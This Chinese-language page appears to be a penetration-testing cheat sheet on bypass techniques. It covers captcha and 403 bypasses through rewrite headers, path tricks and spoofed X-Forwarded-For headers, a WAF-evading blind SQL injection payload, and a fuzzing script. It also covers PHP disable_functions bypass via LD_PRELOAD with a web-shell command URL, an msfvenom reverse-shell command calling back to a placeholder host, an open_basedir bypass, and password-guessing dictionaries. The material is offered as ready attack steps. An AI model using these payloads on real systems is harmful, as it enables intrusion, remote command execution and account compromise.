绕过专题

2023-10-26

①绕过验证码专题

原理:
直接截取返回包的cookie或者json流中的验证码进行绕过,提取出验证码进行直接验证即可–>绕过
方法
利用burp中的Extractor或者是Bp自带的Marco进行自动化测试

典型类型:

①如返回包的cookie中可截取验证码
②返回包的json流中可能有验证码

万能验证码

0000与9999

空验证码

code=undefined

②403绕过专题

方法

①端口利用-->一个站不同的端口测
②修改host-->收集一个资产的相关ip,进行测不同host请求状况
③覆盖请求url
绕的参数-->X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。(可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。)
即覆盖参数请求思路-->即服务器支持该两种请求状况思路时可利用绕
如
#常见于-->后台登录时一闪而过,要求验证类
从http header方面bypass

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden
  
  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response
  HTTP/1.1 200 OK
 
  or
  
  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK
 除了这些还可绕思路
302跳转:拦截并drop跳转的数据包,使其停留在当前页面,修改返回的302为200,然后删除掉Location字段。即可绕过
#从url参数方面bypass
/admin/panel    # ===> 403
/admin/monitor  # ===> 200
/admin/monitor/;panel   # ===> 302
web.com/admin   # ===> 403

web.com/ADMIN       # ===> 200
web.com/admin/      # ===> 200
web.com/admin/.     # ===> 200
web.com//admin//    # ===> 200
web.com/./admin/./  # ===> 200
web.com/./admin/..  # ===> 200
web.com/%2f/admin/  # ===> 200
web.com/admin.json  # ===> 200(ruby)
web.com/%2e/admin   # ===> 200
web.com/%252e/admin # ===> 200
web.com/%ef%bc%8fadmin  # ===> 200
web.com/admin       # ===> 302
web.com/admin..;/   # ===> 200
#从协议上bypass
http://web.com/admin    # ===> 403
https://web.com/admin   # ===> 200
④referer绕
添加一个ReFerer参数进行绕
ReFerer:https://xxx/auth/login
⑤代理ip方式绕
如该类参数
 X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

在这里插入图片描述
相关插件

③绕upload专题

upload绕
文件上传绕过技巧总结

④绕sql注入专题

绕云锁sql注入

and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))

典型分析链接

sql注入绕过特殊姿势

#常见可试绕过思路
--%0a union --%0a select 
#常见可测试点
order by,group by,{$var}
#mysql
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1
数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1

绕waf

①识别waf
两个工具
②三个fuzz工具
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack
https://github.com/foospidy/payloads
③常用fuzz脚本
def fuzzing(payload):
    payloads = []
    special_chars = ['\r', '\n', '\t', '_', '~', '&', '-', '=', '/', '*','^', '$', ',', '.', '/', '<', '>', '|', '/**/', '--','\r\n', '||']
    #special_chars 字典在步骤2中选择合适的
    for char in special_chars:
        for k in range(len(payload)):
            try:
                temp_payload = payload[:k] + char + payload[k:]
                payloads.append(temp_payload)
            except Exception as e:
                print(e)

    return payloads

sql注入bypass
注意点
1.版本导致注入问题
mysql版本4.1时,因为不存在默认表,所以可能出现爆不出表的情况

⑤绕目录遍历

#利用其绕读取
…/./

#如即–>目录遍历
在这里插入图片描述

⑥绕函数禁用类

四种方法
①攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞

②寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;

③mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;

④利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

需要利用条件:
①php需要支持putenv()、mail()函数
②linux环境下
绕shell时遇到函数禁用
①插件工具


https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

构造执行命令

Payload:http://xxx/dp1.php?cmd=whoami&outpath=/tmp/xx&sopath=/xxx/dp1.so**
②蚁剑插件绕
php版本7的话直接梭哈
如linux下
找到sock文件

/tmp/php-cgi-56.sock

在这里插入图片描述
执行即可获得一个马
在这里插入图片描述

然后直接执行后
进行连接
这个.antproxy.php
密码为原来马的密码
在这里插入图片描述
然后连接执行即可绕过

但是注意这个绕只可绕一会,然后就会断掉
所以接着绕法

msfs生成一个马,上传到这个上面,然后在这几分钟里面进行执行命令,从而实现监听
#如
msfvenom -p linux/x64/shell_reverse_tcp -i 5 LHOST=x.x.x.x LPORT=80 -f elf -o /root/shell.elf

在这里插入图片描述
③组件思路
bypass disable_function总结
中间组件bypass

⑦字典爆破思路

撞库
常见手机号
常见登录账号(admin、manager、test、deme)
数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
拼音(zhangsan、zhang.san、zhangs)
中文(张三、李四、张san)
英文名(Tom、Jeo、Cherry)
单位名(zssx123、zssx@123)
地名(beijing123、beijing@123)
组合(地名+单位名)
域名(baidu@123、JD@123)
生日组合

⑧绕目录限制

方法:新建一个.user.ini 文件
里面内容下面这个,从而实现绕过php.ini文件

open_basedir=:/
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

绕过专题 的相关文章

  • 【CV】图像分类中的细粒度/粗粒度怎么理解

    粗粒度图像分类 类别之间差异大 比如人 汽车 树 细粒度图像分类 类别之间差异小 比如200种鸟的分类 100种花的分类 由于细粒度类别属于同一个大类 所以各类别之间的差距很小 这些细微的差距容易被光照 颜色 背景 形状和位置等变化因素覆盖
  • Python作图——numpy库和matplotlib库

    一 numpy库 1 1概述 numpy是一个存储和处理多维数组 矩阵等的库 提供多种关于数组运算的数学函数 可供直接调用 1 1 1数据类型 numpy的数据类型包括整型 浮点型 复数型 布尔型等 在IDLE查询numpy支持的数据类型

随机推荐

  • MATLAB .dat读、存及简单处理

    文章目录 0 前言 1 思路 2 MATLAB 3 结语 0 前言 近期接触到二进制文件 dat 写一个简单的教程 假设文件内容为连续的通信数据 含有不符合的数据 对其进行简单剔除 1 思路 假设输入 dat文件共有3个整帧数据 每帧长度5
  • 机器学习(归一化、去中心化、标准化)

    为什么要进行数据的预处理 这需要分两种情况说明 1 数据数值很大 2 数据数值很小 1 首先 对于一个数值非常之大的特征 T 若其数值非常之大 区间也非常之大 例如区间范围为 10 10 10 20 以线性拟合函数举例 显然我们在进行机器学
  • Android:JNI调用C++自定义类的详细方法

    一般情况下 我们都是用 JNI 调用 C 的某个方法的代码 包括直接使用 android studio 生成的代码也是如此 但有时我们需要新建 或者得到的是 C 的一个自定义类 在调用时就不能像调用 C 方法那样了 查阅了一部分其他人的博客
  • 学习笔记五:电路设计需要注意的那些事

    注意One part 电路中电源VBAT须要先经过滤波电容再到芯片的VBAT引脚 芯片时钟端走线尽量不要靠近电源走线 避免对电源走线产生纹波的干扰 需要隔离地处理 天线走50欧姆的阻抗设计 走线两侧距离30mil处添加过孔 最好用第三层GN
  • Adobe MAX 2020:最新版Photoshop提供AI智能神经滤镜及天空替换等功能

    数据猿年度重磅活动预告 2020年度金猿策划活动 金猿榜单发布 金猿奖杯颁发 即将推出 尽情咨询期待 大数据产业创新服务媒体 聚焦数据 改变商业 数据报道 受新冠疫情影响 今年的Adobe MAX 2020 于北京时间10月21日改为了线上
  • 一个优秀的程序员真的能顶10个普通的程序员吗?

    一个优秀的程序员真的能顶10个普通的程序员吗 一 前言 优秀的程序员 比糟糕的程序员的工作产出高100倍 二 糟糕程序员会有哪些表现 1 无法对代码进行推理 2 没有补救措施 3 代码难以改动 三 优秀程序员是怎么做的呢 1 先进行实验是他
  • Java+SSM+Vue 毕业设计 游戏攻略资讯补丁售卖商城(含源码+论文)

    文章目录 1 项目简介 2 实现效果 2 1 界面展示 3 设计方案 3 1 概述 3 2 系统流程 3 3 系统结构设计 4 项目获取 1 项目简介 Hi 各位同学好呀 这里是M学姐 今天向大家分享一个今年 2022 最新完成的毕业设计项
  • Win32学习笔记(16)消息类型

    1 消息的产生与处理流程 如上图 我们在创建窗口程序中详细介绍了这张图 比如 我们点击某个窗口的时候就会产生消息 操作系统会先判断这个消息是点在了哪个窗口 找到窗口后 会根据窗口对象中的一个成员找到窗口是属于哪个线程的 找到后就会把他封装好
  • 从零开始搭建一个 React 项目 -- 配置篇(一)

    从零开始搭建一个 React 项目 配置篇 一 参考资源 从零搭建完整的React项目模板 Webpack React hooks Mobx Antd 1 项目初始化及常用以来安装配置 1 创建名为 react admin demo 的目录
  • python虚拟环境配置、Python代码打包成exe可执行文件

    背景 因工作需要 要打包一些脚本使其成为exe文件 方便未安装python环境的电脑运行脚本 但是直接使用默认环境的话 会有很多的包 但是其实这个脚本根本用不到 导致生成的exe文件很大或者直接打包失败 所以创建一个虚拟环境 只安装该代码需
  • socket套接字,粘包问题

    目录 scoket套接字 socket工作流程 TCP服务端 TCP客户端 基于TCP 的SOCKET服务端与客户端 基础版本 客户端 加入连接循环 加入通信循环 支持并发的TCP服务端 常见问题 半连接池 粘包问题 TCP协议的特点 解决
  • OpenAI开源!!Whisper语音识别实战!!【环境配置+代码实现】

    目录 环境配置 代码实现 实现 mp4转换为 wav文件 识别后进行关键词匹配并输出关键词出现的次数 完整代码实现请私信 环境配置 安装 ffmpeg 打开网址 https github com BtbN FFmpeg Builds rel
  • vue使用svg自定义icon图标

    1 安装 svg sprite loader svg sprite loader 是用于创建SVG精灵图的Webpack加载程序 通过该插件可以将导入的SVG文件自动生成为symbol标签并插入进html中 安装语句如下 npm insta
  • 关于Spark报错不能连接到Server的解决办法(Failed to connect to master master_hostname:7077)

    问题产生 Spark集群 即可以基于Mesos或YARN来部署 也可以用自带的集群管理器 部署于standalone模式下 笔者在部署standalone模式时 首先 通过如下命令 启动了Master sbin start master s
  • 为什么会有ETH和ETC?the DAO攻击事件2周年祭

    前两天 跟一位HiBlock区块链社区的用户私聊 他问我一个问题 同样是智能合约 为什么会有以太坊和以太经典 又为什么会有相应的ETH和ETC 两者价格还相差如此之大 转给他一篇the DAO事件的文章后突然发现 the DAO攻击事件已经
  • Spring AOP 应用场景之--日志收集(含代码)

    在学习了 Spring AOP 知识之后 只了解了其一些基本的概念 比如它是为了解决 OOP 的弊端 使代码更易于维护 使用了动态代理 Spring 中有两种动态代理实现方式 一种是 JDK 一种是Cglib 使用场景有权限 缓存 日志 b
  • linux命令大全 which

    参考 Linux命令大全 程序员工具箱 1 命令 which 从 PATH 路径下查找某个命令的全路径 2 使用样例 查看 java 命令的全路径 which java 3 使用方法 which programnam
  • 基于JdbcTemplate的一种通用数据库操作帮助工具

    工具介绍 基于JdbcTemplate的通用操作数据库的帮助工具 借助阿里巴巴的开源工具fastjson实现实体的转json字符串以及params的解析 用法 1 建立与数据库表相对应的entity对象 package cn flyzy20
  • APB协议UVM验证环境的搭建

    APB协议UVM验证环境的搭建 一 编译文件 只需编译这两个文件即可 apb pkg sv 里面包含了 apb svh 即编译apb pkg sv这个文件的同时 也会编译所需要的所有的头文件 ifndef APB PKG SV define
  • 绕过专题

    绕过验证码专题 原理 直接截取返回包的cookie或者json流中的验证码进行绕过 提取出验证码进行直接验证即可 gt 绕过 方法 利用burp中的Extractor或者是Bp自带的Marco进行自动化测试 典型类型 如返回包的cookie